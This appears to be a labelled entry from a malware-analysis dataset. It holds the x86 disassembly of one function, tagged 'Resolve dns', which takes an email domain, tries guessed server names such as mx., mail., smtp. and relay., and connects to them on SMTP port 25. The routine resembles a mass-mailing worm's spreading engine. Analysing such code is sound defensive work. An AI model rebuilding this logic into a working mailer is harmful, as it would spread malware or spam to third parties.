Function at 0x4059e0
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x31c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov eax, edx
push esi
push edi
mov dword [ebp - 0x31c], eax
mov edi, ecx
test eax, eax
je 0x405ca6
push ecx
lea ecx, [ebp - 0x308]
push ecx
mov edx, 0x411de0
mov ecx, eax
call fcn.004051c0
add esp, 8
test eax, eax
jne 0x405ca6
mov cl, byte [ebp - 0x308]
lea eax, [ebp - 0x308]
test cl, cl
je 0x405ca6
jmp 0x405a40
cmp cl, 0x40
je 0x405a52
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x405a40
jmp 0x405ca6
cmp byte [eax], 0
je 0x405ca6
inc eax
push eax
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
test edi, edi
je 0x405ae4
mov edi, edi
lea ebx, [edi + 8]
push ebx
call dword [sym.imp.WS2_32.dll_inet_addr]
mov esi, eax
cmp esi, 0xffffffff
je 0x405a8a
test esi, esi
jne 0x405a9c
cmp byte [ebx], 0x30
je 0x405aa4
push ebx
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x405a9c
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov esi, dword [eax]
xor eax, eax
cmp esi, 0xffffffff
cmove esi, eax
mov dword [ebp - 0x314], esi
test esi, esi
je 0x405ade
mov eax, 2
push 0x19
mov word [ebp - 0x318], ax
call dword [sym.imp.WS2_32.dll_htons]
mov edx, dword [ebp - 0x31c]
lea ecx, [ebp - 0x318]
mov word [ebp - 0x316], ax
call fcn.004054d0
test eax, eax
je 0x405b00
mov edi, dword [edi]
test edi, edi
jne 0x405a70
mov ebx, dword [sym.imp.USER32.dll_wsprintfA]
xor esi, esi
lea esp, [esp]
cmp esi, 9
ja case.default.0x405af9
jmp dword [esi*4 + 0x405cbc]
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004062eb
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x405bb4
lea eax, [ebp - 0x208]
push eax
push str.mx._s
jmp 0x405ba8
lea eax, [ebp - 0x208]
push eax
push str.mail._s
jmp 0x405ba8
lea eax, [ebp - 0x208]
push eax
push str.smtp._s
jmp 0x405ba8
lea eax, [ebp - 0x208]
push eax
push str.mx1._s
jmp 0x405ba8
lea eax, [ebp - 0x208]
push eax
push str.mxs._s
jmp 0x405ba8
lea eax, [ebp - 0x208]
push eax
push str.mail1._s
jmp 0x405ba8
lea eax, [ebp - 0x208]
push eax
push str.relay._s
jmp 0x405ba8
lea eax, [ebp - 0x208]
push eax
push str.ns._s
jmp 0x405ba8
lea eax, [ebp - 0x208]
push eax
push str.gate._s
lea eax, [ebp - 0x108]
push eax
call ebx
add esp, 0xc
cmp byte [ebp - 0x108], 0
je 0x405c70
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov edi, eax
cmp edi, 0xffffffff
je 0x405be2
test edi, edi
jne 0x405bfa
cmp byte [ebp - 0x108], 0x30
je 0x405c02
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x405bfa
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov edi, dword [eax]
xor eax, eax
cmp edi, 0xffffffff
cmove edi, eax
mov dword [ebp - 0x314], edi
test edi, edi
je 0x405c63
mov eax, 2
push 0x19
mov word [ebp - 0x318], ax
call dword [sym.imp.WS2_32.dll_htons]
mov edi, dword [ebp - 0x31c]
mov edx, edi
lea ecx, [ebp - 0x318]
mov word [ebp - 0x316], ax
call fcn.004054d0
test eax, eax
je 0x405b00
mov eax, dword [0x414bf8]
imul eax, eax, 0x15a4e35
inc eax
mov dword [0x414bf8], eax
shr eax, 0x10
cdq
mov ecx, 0x64
idiv ecx
cmp edx, 0x14
jl 0x405c76
inc esi
jmp 0x405af0
mov byte [ebp - 0x108], 0
mov edi, dword [ebp - 0x31c]
mov eax, dword [0x414bf8]
imul eax, eax, 0x15a4e35
inc eax
mov dword [0x414bf8], eax
shr eax, 0x10
cdq
mov ebx, 0x64
idiv ebx
cmp edx, 0x19
jge 0x405ca6
mov ecx, edi
call fcn.004057d0
test eax, eax
je 0x405b00
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.004062eb
mov esp, ebp
pop ebp
ret